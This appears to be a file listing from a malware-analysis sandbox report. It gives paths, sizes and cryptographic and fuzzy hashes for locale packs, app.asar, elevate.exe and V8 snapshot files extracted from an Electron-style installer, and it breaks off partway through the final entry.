Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\id.pak
Size 539KB
SHA256 abcf0f2bf128db72c3bcd49cf0a06489018171d7f96454cb15e877e6baab106c
MD5 4000923d617b865de9661e805cfb4852
SHA1 dcf483a4eec215618a18c4d68775c9ef1855e055
SHA512 69d28cad4c79af080b2d17ac7c7f04c07e4e8452e698eee4308957f695644df6eae5874686f75e8594fd32e357f73592cf74e9b87055ad34903685679966406d
SSDEEP 6144:QWr3mUfm6fQU7PZappNKRssrMutoD9Nf+ITFjlFsTmBzsC/AYX57660ROBqhmjiO:BbFlHUpjK1rMhBtTFjlF4mVsu5766p42
TLSH
T164C4F7636ECD300C4A4843D5B2CDAA1E7CCD233BAF05B76E8E348F7055A67686716B94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

it.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\it.pak
Size 592KB
SHA256 a30868995e5b9d80b219b1370814753e8f4879e9b049b61a0a6cfe0d9beb5fac
MD5 efb35602fb775bbf49e588accfc5d3be
SHA1 98600fb995d58714e2dbf80dc2681a00f18639bb
SHA512 900c71fe9d18a21b7004279c3e70dcaa90daf17a1a07272cfde5941564f1fdef0a4b4e48c178afaecd6cac1bcddd0ffd65bd3ecf53e090cff742ff545675a73e
SSDEEP 6144:mySM9Hn1QD1vo8Tmx99FuZO2NRzXSIqBRRs61wtUIe/RT9Tb+AkrwHTOr6yqpzSR:mGt1srP+ZZjP8VKcfFNDu5iSlo7
TLSH
T195D41C3AA5D6211559976359E611B085FBAEFCCCFF417218C99B031C22CFE80F2ADA47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ja.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ja.pak
Size 721KB
SHA256 93e7719539497656c6a7850b7e949608f1e7f4d13b66161bf914377ba737a609
MD5 d7ca92fe06c8cde167be28307f0e0dd7
SHA1 476b29faa2c9f1759598c50b844c0745d97b5600
SHA512 96f06c57c73fa1bf173d82925b171f98bbe7047828a1bd6e233956bff053cdd594ede2f121be08dc85b2858858d4315bf63c805a81b367c4825267b7c5df4096
SSDEEP 6144:HjuqFU8rcygU5Wh2PxIPZjQ2nwSoLbm5z7ONKgbVV:HjtUecy38ZPZjQ2nwDW5zqNKW
TLSH
T104F43F7CE3C569369D6153A22C4E76E17506AC9FFCA23A3A442DC070BD70BCEE415AB4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kn.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\kn.pak
Size 1.4MB
SHA256 14b1772382e170045b5d80fa6a05d6a41b7e9d8755c4e71095720c02ebf0b4d6
MD5 0abc810ff52844fddbfbecd162429a5c
SHA1 cc529c81c52647249ca4446d6aea431ca1ade13a
SHA512 53790890d158906a6e73e223bdfe5dc657e733c3a49de3f3a69e2b7146e0c13e15a5078453530132c71a580a1d110402f30146d4423d553d6f294c8c6a68f285
SSDEEP 12288:dNrMtz5tvu/0dr3Hulp5D7I5QtMr4eoy+Ix:LVA5gMh
TLSH
T15665CD18ADBA7D301BD5106B24EC643ECFF16BD29CAA07C2F4DDD7802C66C6A90865DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ko.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ko.pak
Size 610KB
SHA256 33b313b914d8e8c4c55bf85b7b879e4d98c260ef2005074332c9b82d1381031e
MD5 31203abc952a6040aa596265b1df7814
SHA1 1df89e15d70f421188aa1c90909e8beb5896aa5e
SHA512 e24bd16295d353fd135fe7eb4104d1f5c8477c99fab81a65f8e36d3fc23cdc47785baf1a38ad973ae04aae25b7a064cc2ae2b0c85362b0c625bca28d6843fac6
SSDEEP 12288:jfTbbnNhzFUgNJifYj4ZGRy7YvDcx8HKRh66kI++x2SiG0G1zLhwXt7Lt8Sn5hrs:jrbbVD/S5B3Pguz
TLSH
T1D0D4D6F238DB63CD1193CD82AEF4FA198382D976F7530294ED44CE449E245D74886ABE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lt.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\lt.pak
Size 659KB
SHA256 c7ecd3a1cfb9fa1f675b4651e794a9da1ab6b562300417dd8aa45b98602a75ee
MD5 4afabd04b51e508716f944514cf0a8d9
SHA1 0f78e89763d51a852f521dc901b19465148e5e04
SHA512 903d4833970f568a312f5b24f7964cdb9536edb80c9a895b6422aab2aba56d76cd73f025d13f2a9e4f2af7496bbc68676eb7fc6da7a059dbc3419ee4a006d976
SSDEEP 12288:G/gvSLMPs0g4+I8WV8ll5m7mAyLmK6SfM:5gMF81l5FACmx
TLSH
T116E43C0069E3AEFB9A4467C982A48AB8DEFD50005737BC61EC69C79BC43BF452560F35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lv.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\lv.pak
Size 657KB
SHA256 6ca0c36e14d0fd11da8c000c8ebd5cafff4c86faac1ba8242b89c56e42ac9dd4
MD5 960e5190c4f16fe403fe1c9dccb5373d
SHA1 44d8432035b8e135cc463745c28482d2e4194d86
SHA512 b76ceb6a3599ddf69f023bd20fbdfded83485da0ebf4ca6064e7f06490baca6276ccaee2a80e7fcdc5438e772bfc773f558a14a961c4c29bd0e58336caf3f5e5
SSDEEP 6144:HO60Z99PW+P28aa7vAD/NrtVFTl49i5zH1pAKh/VbOs5RcnabgcVTsgo1R3pz2+N:HO6oPW+uaTokMzVXFIs54cVTsB3+x5g
TLSH
T175E42A959EC68FAA4D908DCB732AD122A8CCD740FE07E112DD7D4B3A550F52432B5EE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ml.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ml.pak
Size 1.5MB
SHA256 3c43edc7060b5860952a686897add542f78697c5c5c20bc663106d7d73c877eb
MD5 17c8fac183a02993f305ebce67698dc0
SHA1 792669a90679231f81e8e158289b7f8df0b71dee
SHA512 92b7dd5973c7a0ba18ea81704d2d9dc4bd00b68d3b274280721b26f51975e92e707eb61ec7762c905ab243ee75204b577f984592ff626175da2f86edbce2a63b
SSDEEP 24576:r+xO0+9y9XBkx/KfKfVB3+zXhw5zsfmJ3z5GaEa+S3A:p5Q
TLSH
T19C759D5BA036CD3B0FD102167B4E2FABCD5B9F9140AF668B5869F2628C59F7D0C99031
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\mr.pak
Size 1.2MB
SHA256 6724b057d002866a42b42a3ef50343f06a3610767c29e962fabfb49300b10c56
MD5 c3afc196e56286a147bd71a304da5746
SHA1 760a9042e5f83c557bcbf347038b57bed47047d7
SHA512 520f1bfc5125e35481fdc1ac2e5ae5369ac2de644f2f8b3b13776d7d042256caa294eda60d3c2454f64d7d25d35608c07da85e560daa9330bba1deca9ec8f5b6
SSDEEP 3072:85WQNNwzsx3rV+vZ81spN1i7vm8b4njUqT/iDU0sgWekxJwFEyGRg3R5QodgEqY7:8Dqe3rupNXiDUeOKZ8HlfXax5RmfUdz
TLSH
T10955C14DF7BAF3685DACBC8E36540D3BD8FD21B1C3E9925648E1B3E74884CB401596A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ms.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ms.pak
Size 566KB
SHA256 ce673d64c3d4a1a1f940d59a3a8fee24b28739b20164e6fd0e4b703d2b88cea4
MD5 a85030707ad85a47e8c63c2eb1132634
SHA1 5b8043ae9458e49a3cba717d38ef17c9c6bdcd0e
SHA512 8ac80af30e410ea84b3bd9290ef35585a53c004e41fc00861eaa4c13e83f059dda6eef3b01266f29d3dfbc7768a80a7fd3cbaafa67cad0234b581b2541b55b45
SSDEEP 6144:DJnAwz5HYmlLkinb9xipq78U8GzHuqwTzREfbpGJU5b0dVl4XuB9xA:FnAwNYmlLkKx4qGOHuqwTqyU52l4P
TLSH
T145C4B6469EDE3118085943D9D2DAA91B7CDD3333B705AF2B4DA08FB0126E7E53316B89
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\nb.pak
Size 546KB
SHA256 fd4bd459b68a89869bc1c95a6f3d41064d88fc1c0c11e043e42a18223a88d4ea
MD5 ab6b35f9e3c96d2eb9dfd437f63a2dcf
SHA1 074ee34cbc193c32772b26b79b8b89ff5abf7282
SHA512 d8fe365537250c9e7810afc4422ab58b712623923cc86c5a9d8436ac42713e7c707b70c68f1063a3a560d061a74bd264ca1e04745f463e2b328dd8c9d58b7ae8
SSDEEP 12288:i1AJ3JukzF9doOp7f2OzlFaXe65WLsBGeL/Ugt:nZ9gOFaXe65gsBfTl
TLSH
T15FC40883EE46B72EF6A443A4F51986579B7D942CCD98199B94CCC22E0CC7EF052BE1C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\nl.pak
Size 567KB
SHA256 72a15f01c50d161ee22f14ab4bcf6d9067aad0038bd514620ecbf03f1a3e5c6f
MD5 95e274c56adaef240dc10f3c26098524
SHA1 0e0ba085c443aac64875274b460bece84fc1748e
SHA512 5cc7d9e2dd09b3629ffa0432119b731d621ccaf94a1a08038c30c2777137c671ce07835adf9335b2369c630172662a34083c5b577b2813445b4c7913ce461671
SSDEEP 12288:fmulbJWQusaUgbgL5Cpf2V5btA7ywv9qHnGlmTy:uulbJWQusaUt5Cpf2V5bK7ywFqHnG82
TLSH
T1C7C4FA17A84E253E59C1B385FA094FBBBF2ED22CC26CE67D94DDD1340443FA8826D589
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\pl.pak
Size 632KB
SHA256 8a50378d9d3522833316fa96d51feb8a5b2dc97540f1cb11e9e69a3d41d75110
MD5 90f5f52c6db1048df38a68dd3af327d9
SHA1 e0ab52232910fbcf9de8a61e70261209b84a22e3
SHA512 6eb8ed60d6cd24cd6b5c67f64cf06db30817e1a22c70f8139fbcd7096f53dd8ec3e2c82aa450b2a76aebcb038c28e1b50e186bbe79d9ac24f634b7aaef353df7
SSDEEP 12288:IqzaszsZCWoOBAIr4OfQfuzSJaVHCbAtPeCUd4e3mINUXhMvml1QhT85LDwolcyH:fzaszsZrVthM81QhY5DH
TLSH
T121D45C0D56E58A4E4CB008E6F2E71B7CBCECC808F209D35FE45F452A615B19ECABE594
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-BR.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\pt-BR.pak
Size 593KB
SHA256 8286ccb9fe4ec12fc21f4d9849ea482fc99ea479880f5fab2502f2599c97c836
MD5 2a4533743c915d194956f67768240dca
SHA1 4f9534f7bd4463b48b438e7ec9292567085d6b97
SHA512 4c2d7e5f722a0fea662d8a320277c00fbbdfb76575a1c0f703f785bbc613b0bf7ed546991f1c20e966fb38420db337bd861c6fe12d305b669b6ea844bb515b0b
SSDEEP 6144:IYjvRQkgZLoYsBBNBXBLPS7ZyTj58EKVBGosRLJ4VR:IY7RQkgZozF58EAsR14X
TLSH
T1B2D41B2A6DC9136604226351B74EEB43E5880745FE0ACB87DCFF4B45A3DDE40DA33AA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-PT.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\pt-PT.pak
Size 596KB
SHA256 8c0b9468df5088baa6e42daaf215d57f48646b974c02783f31ff154197ba3758
MD5 95e44fdf457a2d92e33a376d6a4b8409
SHA1 ed7bfa86e6187c444327e6522ee2654449971a88
SHA512 bb7e7e61a417ce335d794f779c60f55b1351f09bc3dcfbcd707d625aeaa4cf01c72ca734658480d6167d99e1a55071132655df18ed692e9fbaf7ce958520231b
SSDEEP 6144:PWj1NjusbHS4uieJVJJxhIVG3Xqfz/D5znLuiiSRHw:PWj1Nj/bHmcD5znLSSRQ
TLSH
T13ED419286EDA136605135381770ADB43FAC85645F90ACB87C9EF0B4672CDF84C6B7B62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ro.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ro.pak
Size 618KB
SHA256 44ecdccf7767f39b4828566284bb914e3970ed7470aacce3b323f5ad441e01e9
MD5 672e029b788a79d976de5c6e046c541f
SHA1 de5b5df7961eae675e035168bfe37a049efb98a0
SHA512 1157eacd071d7e6d27eed28ac0fb21cd849cbc679a96d25235e2bd6644c9473a496dc5ae09b42b05a6d90df0a5e4ef1f0f3ac4290d86a8d015edc3ef9a4232b8
SSDEEP 6144:KXSr/b1lEXnKwP9Q5ToXK/gg81xR+ImGhH5LsC5pO7us2XI1/orxf:gg+XnZQ5To6nSxMgH5LP5pkOY/+f
TLSH
T1B3D43C13A1C82A97299152B2F73624D3E88D105DF641D28DA4EEC97D10CDDDBC62EECB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ru.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ru.pak
Size 1021KB
SHA256 ab9a97b26107f1ee0447c2ebdf75b7884e616fc4ed248c6e1c6994a98ae307fa
MD5 4c13d79be34b2fcc4c964f1402d7150b
SHA1 346e4d53a4b81fa9e2bd039e25bcee45bc86175b
SHA512 400b7b8e73c71352b20cdb0d6a574fbec4b1bff9b3e5c148b25a4651aed99aefe91c3b6f25c51f4869e32751cd4e0464e8d1fa95a8b878445eb9084cd9f1b68b
SSDEEP 12288:6hNn4yQWfQeRo4YwyspxzJ9hF1WfaWNXp6HzW/oqSvusEzDmxsXe3YHWO3j/xTwS:YCyQySc5qjDX
TLSH
T11A258760669E64DE1101F01BDD08BE0D3CEB45FE3FAAA31619A42D7F35F2024C67E65A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\sk.pak
Size 641KB
SHA256 e0babf276d1ed1048a0078d6aab2a2638a21046cbb9e9a6bb815e649dc9b9004
MD5 89398df4ea8e81b40c9641a4c1fe51ae
SHA1 f0162754d1cafe4d9b2477e0358ba39521cb9ff4
SHA512 86276ad0e8eda30914e4be210dc9f4b2c3b3c04e38058ab09cbe50a9c3ea2d94d5ead47de70e78a39ce28c91e78da7071f8bf425790f070e4acb5d6ec2840bee
SSDEEP 12288:F/2UhkFttAuiNiOhj50nAcYEAsfpTjsxt9/j:Fu5ziv5cYEqthj
TLSH
T13BE44D3FDFE6181E8E8D0148EFEA7110F97E8650864EB4A5940F374714E26EDCAB8E54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\sl.pak
Size 614KB
SHA256 0491d3086b5f38cddf505d8944e30892fb9f39445aa49352e5883933ff408fbc
MD5 e1006f2c15042e296cfe5e2dd172ad7e
SHA1 c422bc665d819ec7461c6fc0b95ee19d844e35bd
SHA512 12c5a8af62c5fd4ad814e1df551687d76c7c005a5ef27ac390f883e8bbc2586d57248e77e54bce98f69ab3629f3429ea3fcba54ef875c4f2ad29d757d87bc537
SSDEEP 12288:CUg1pNcB2giyMXp5J/HH2WOq86/i/fzBJqc:5IpIMXp5J/HHni/fzBv
TLSH
T141D43C39BAA79E0F0C9AB2CBFEA206007FDC044CD256A661EC4F337D5415A3827BD595
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\sr.pak
Size 948KB
SHA256 fa5e3094c0324b58d2cec3c20a17429da900dff8973ad9b5c5473cde274fbe41
MD5 270ad30acbba16e1bbfcd09166efec1e
SHA1 d83cab7ab4070877d7f0d3520e72e3113bcda5ce
SHA512 5def3723cf02fcf0552d1cb0773b9e6e69ad41a176b01b54910866ba0a8c2efea291529eecaafcc77f67f50b99f2acab750d053cc9bcc4454eb53c702c18bcdf
SSDEEP 12288:6o6G27BwLWIVy/S5daVRji4VZ0svV5YjuJXCkxQiT37TJcVU/k/Q:fqEJa5TCd4
TLSH
T1AA2557A19B9E64DB0501F41BD808BE493DAF41FE3FAB975211601DBD34E20B847B939E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sv.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\sv.pak
Size 551KB
SHA256 d4311e8637a14f757da33cafa1b77a8ee7989e72e1799c0b343057b712932ca1
MD5 f4f4f7f3d273333fe1fbe77d985d4cad
SHA1 9f2e6cccf2a7f2a55efbc56ceb286b968b2cb294
SHA512 602a93149411ac85f55e9923aaf011a408894995f777cb516d23f58e89e7d7eb0f393725bfb5749c0002147898ea31c1764697d1c83649f0ce312bc9db295f67
SSDEEP 6144:hY82PWBVo8htNFxtw9aUiRSN1xhhxIykl8RmLpvRFcz5RtGuA+SF4FkFMhYSOa3p:hGPEptNa9T7hDb5RiTkLl
TLSH
T1A3C42D438A10F526FB72134DB608115B0AEDE25CE7E2958EB8D9883DAD8BD5805FF347
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sw.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\sw.pak
Size 581KB
SHA256 7306fa5c79d8c929d30672b4346b7599eb687b7d1ba0380dc89e300fe9991481
MD5 82a55d98f34903c3e54e5faa02201ed5
SHA1 31aa90305bac189db6cefc5f63b2058da974fe60
SHA512 fb971f7d14c7ace97048c5ae0e85b4d6a663ee7791576d508ec64d9a9682cfab06f799b0aa724b43b01779a8e1bda3967efa2166d8f4410785a5710da3ebd425
SSDEEP 12288:DE2w78DxGs2qFs5bmedqkGjRdNl5ObQh49XhoLmGPgaFsybyjNUixmaB1Ypgqj66:D0Ein59WL
TLSH
T112C4D6629871D0191233618603DDFF732BDCED5C2A2B29935A46BF0F218F58C57ABE49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ta.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ta.pak
Size 1.5MB
SHA256 907753daf08d84e5ed3be6fc46a37ec46f2ab9897a88cbfa9a792493710306d0
MD5 d8cacbfae3640547c00dc46776131256
SHA1 b32ca0242d930e8676385229c3b0d58edcd89ffd
SHA512 42bab180f016fd332c14ef24fe66a53e3f2e8b97856d8823d74e03bfb1d0661ea081e8537eda6303c4fc62906b812164ec072f3c3bb7ccdcf1b6bc87e77ecca7
SSDEEP 6144:XX5JzIPVLCYWk8Mx4JAGbpEJ55qRtRddtm1vYpiMy3:XX5JzOmk8AEAGyJ55q9tm1vYpiMy3
TLSH
T1D3650CCE923EEE890F93288F0319536912986155C47BE3A67C766E1198ECC5DCF3427E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

te.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\te.pak
Size 1.4MB
SHA256 1c2b2b547cda3fc48e1bea182095e6c86e1318b78186ee270bb7511c79509f27
MD5 34fa77c92b45a78cec5c5f36ebdc90de
SHA1 dda22832a4746d6d9ada294f1d6346f901b59d62
SHA512 fd9efcd657d96c529e9180d93afca87a59cc5300a6ac9ad95ca4a2cd22cde7ba9aebcda1b59d3aeaee4183f03fbfc5c4862e25ce3cb88ec6b5c8b8896ceb55c6
SSDEEP 12288:UGmhinDULbb7McKNMy5z8PF602ngIC8ymoRRT5Bb8C52C5W1s6Uu3p1FPnf1ogCE:DZnDU2r5nacPf
TLSH
T1386591023A6AD310DAE60273752CF66C49781B8161D6732C1EAFA357FB87D7E0843676
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

th.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\th.pak
Size 1.1MB
SHA256 14c7ea0792a5ea4e454f5ed8001549a790ac3850c0b9b1b28a372e63f407236b
MD5 f81e68dad04f09e96baf28e3d10de613
SHA1 7bca77e9f4df6196ebeb5399d8fb28d32942197e
SHA512 fcda00a2d0f8d1123df80ecf73e5f727be96b34dd1c43ef41d7d7ee290b2818705abab46278b479a85ccd3bac259105988c12a07812148eb41a659ac522aecca
SSDEEP 12288:E/N9LyZYAVzYLXhOs9UlkJUsrPsO5eXe1M+SyvH1qsG5UAjdLL3f6j8lRUnfnRk0:i5Tsm
TLSH
T1D0453AB37247DDD479441B5B262A7789673DAE693F73F8E00089215A73F071A8422EE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\tr.pak
Size 592KB
SHA256 a4dc2a93aa0b00db691db5c953b47eab3a8d38aa86b8d8cd5bbe12925ede02de
MD5 639b37fd7b94736a8a288fc6d369fb5e
SHA1 8d5e944e214ebf4b6fab4b40a153e00cf9583f3d
SHA512 3687c441acd38c481cc7a230dfd72058499f78e4a4d625fca0c3889180e72f8a5eda8f071911fe66348111c122bbf9ec4f50da95395b2c123206721a6fee89ea
SSDEEP 12288:+2d6uNZ8DHb17HzNsgNDPfZFWf6Xd6kS5M64o:+FHZ56kS5D4o
TLSH
T1EAD4FA8178EF282C8BB9278FD6E90666F8DF0766B331F5469A168636774535303E360C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\uk.pak
Size 1.0MB
SHA256 b175a0f1a457fc4b07843b72a92446d8d1807c7c8647a85277b5b3076002f1ec
MD5 906d807bf8db494495356138cbbed064
SHA1 09c05580be0fd8e55ff635969ff4edf29d0a9ecf
SHA512 184ca4ad47728897c53de9b10bda235e447986d811cdd463d7ca89ecdd1a8db8bbf6696dfe850be0465b758cdc033516221aa4e974928ede055c302fda8836d5
SSDEEP 12288:ntbfIIUINIH+wA8/sSr+1hZ3PStzNynImNPg5YlPAfe8LIyueLNiXEBqDK1a:tb6205Y8U
TLSH
T1BA25A8A1AA9D54DF0106F05BE94C7A0D7DA701FE7FA6471625A43DBF38F20248A3C35A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ur.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\ur.pak
Size 892KB
SHA256 76a8887bbce0160a65aa8859bc084d9286a189e4aa15f2f8f3a0d8cb1fdca780
MD5 063502c8b001c15e80323c712d304192
SHA1 6159c3f8d3f1fb38229b04802aa0121900717b38
SHA512 15da9b3fbb5a236300325f9f5185b467189ef9b630eb7b2f8d1d16c4c021c7d47185610da60099dfc55e3f9776de4d01c04a38d56a2992ac2063a1a0ac72f69c
SSDEEP 12288:9ooPr8PMV54qtdQht9fyf91z5edYE8jGnOEirhQYrQEYjwadcJKwUDupco/9Njjw:7p5vGeY
TLSH
T16915FFD2E6BC96B24A21D92780D33C34CB635F13D34BF285E56246C54E9A0139F6DE3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vi.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\vi.pak
Size 703KB
SHA256 3ea1d75b6a71734fd4b32437361dc6fa42477453f7ec7976a0eb5e269e362853
MD5 3756b3f80d4a6939f56b0a8ae242c0be
SHA1 3b7f41b365885efb7586e0e129fca689474a1472
SHA512 cc42208da7347dd8ac0666d5b8405b8e4b2278de4fd7a7b53ea850979124b2291f8e6ecb4a8b447fc8ef14af0be6584fd8c8733253fca1ae112bddd1503af456
SSDEEP 12288:ZcJXaTuUX+c7IMoEbtV9tSan40a9SF3eYbFspVPv5a8imtckj8lP6ziDHfbrv10:Zc9Y+c7HVma405FOKg5a8JtBIlPMiDTa
TLSH
T19DE4851217E1302680AC553EC6CD540D6FCAE42FF7C1CFE56FE429747A221A46F25AAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-CN.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\zh-CN.pak
Size 504KB
SHA256 2b2bac8b6a5ba4e890b55b1a22255b6337bd32dfd22cfbdb6ad5c2385da16c0f
MD5 907684ba9be13f3d39730ddde5cc0774
SHA1 534dddc5bfcc65b370c8483ee171053452c58ac8
SHA512 a5e8767b6c7e28b30d3f9e4054335760646eb91cda674dbe4581a32582342dc0d466efc7feed5a9b97133670f41337aeca66b5d831eeebd8ddf51a6fb0a317c7
SSDEEP 6144:nPoilLwfxEgUMOuQcZ9fn+7XrYizz6Us59mJAdi3UYX2IQQNvzM7lk:nPoi1wfuzcZBnirYizzjs5oaIkYTQOr
TLSH
T14FB47DA911F9BDEC004650E03B29613D7C40720BF66BAF759ED248DD2AA2FAD0757E07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-TW.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\locales\zh-TW.pak
Size 499KB
SHA256 cabef66d76f240d20a18131693474cc4dde1f70aec5d1d838544e9057b1d5c99
MD5 2a804e26dad2504a5a2a29c157e781ac
SHA1 7a0b50b640eddde88fb4602c31a5984b665a34aa
SHA512 8f6f9028d59740a221ed98b70ba681a6bbf36e2f2b4c60ec23fe8d5bf6178e6f2ad1da6aa74f21528b5e6171f61acf2e806716b7f4bc7411eb6e177b76e0b7b4
SSDEEP 6144:tTOJqUW6mEVJRzrv+02HuZ0kS65Dn7VHvD0iSU62sCmNTb:tTOJRtmwzCU0kS65L7VH+Ug
TLSH
T1D9B46DA608FFDAEF0901F884B7CD523EBC9B382CDD777636FC8518D42D66A680A51146
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\resources.pak
Size 5.8MB
SHA256 00d128bfcbdc61498ac2285d3dabfce86197468cc6eca8f061d5d45cbee6861d
MD5 a71ad37d8f234dc8974b38f6a84686ca
SHA1 7c5e03182e6193c6b2f3cf1980740a2e1b2e9f05
SHA512 35a81cea85389e456369dc4f7facfcb3b9923e267ef8e55b94339efc7df2a0c596a58290cc63af488949fb7f58e93bfdb3d62b152924491a66254a23649ffc2a
SSDEEP 98304:7U8XaPrPOXD1VNZRRwQLte7PdNbrjrwrw5TWB2zfQzQz8DaUUQz8hB0Pxtq+GrVd:rKPrWXD1ZwN7bbnkrwgMfQQQGPc8X03W
TLSH
T1A15633A17F57586FF11C83B800BEC7B0426CE5666910226B22DD32207D3A61FDF9997B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\resources\app.asar
Size 3.0MB
SHA256 60d078f24e1b0508c13a70e70398ed3b9efa471402029b921c09ab4d8fd2ec1d
MD5 e66b792811801b21976e4f0ce78e7ee6
SHA1 79069ab2aa5f8122cc126e7dd9bbdf06245e8df2
SHA512 b409e85fbb554e412f93b91d790409f0b4c03747c1e6f94d19796676b5a097d4dd5bd4d0326c48178aa35312b54e6b8455edfb6eaf2b5f2021826e803a36215c
SSDEEP 49152:mA0GwAUlztGz5kZOlz3bZKlzeoj4GzGrZ1CzlYj6rH0F:hwAgsF
TLSH
T1DCE5CA5268B39833325762BB4ECF4152BE20A10769449D10788C9359BFC6F39F6F6F98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevate.exe

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\resources\elevate.exe
Size 105KB
SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
MD5 792b92c8ad13c46f27c7ced0810694df
SHA1 d8d449b92de20a57df722df46435ba4553ecc802
SHA512 6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40
SSDEEP 3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
TLSH
T1EBB37C1274C0C471E5732A361974CAB14AADFD700E759FAF6398127A4FA01D09A3AFB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snapshot_blob.bin

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\snapshot_blob.bin
Size 328KB
SHA256 4688a9fce8bf6c4fede26ee8508ec5b20a579df9d711cab3efa28d2eb3d479a7
MD5 ce95719bf9a334d7b834c7b14d4716bb
SHA1 92157c3d787b4a15d93f5da8385562223d30c888
SHA512 262345bc9b9a0bb3982240b386d709a08bf02f06fd2e0a08b43ed593d6aa08a26f7bfad25904698fa542a880c2a1d13ffe84a131b7acb6e704bde1a89ecd8308
SSDEEP 3072:w6mbRKqQbt+xmR19fnOrJkGKnpNd4sOkMjg7Je3:fmbRLSt+y3YwdZOv8K
TLSH
T1ED64BC46B70ACB36CA882271CDF9AB8A3A74B1CD9FC6421B7549437F387163C092579D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Temp\nsv399A.tmp\7z-out\v8_context_snapshot.bin
Size 695KB
SHA256 072a4b69624b25f9ff2792ed5ac65a0a7ea65eaf381b58b2d2ab15a95fa8426b
MD5 40bf680d2bc8a3fa2540297826a6885a
SHA1 8e9c4c8fc1ec23b3afc1870bfe92c9928f7f948c
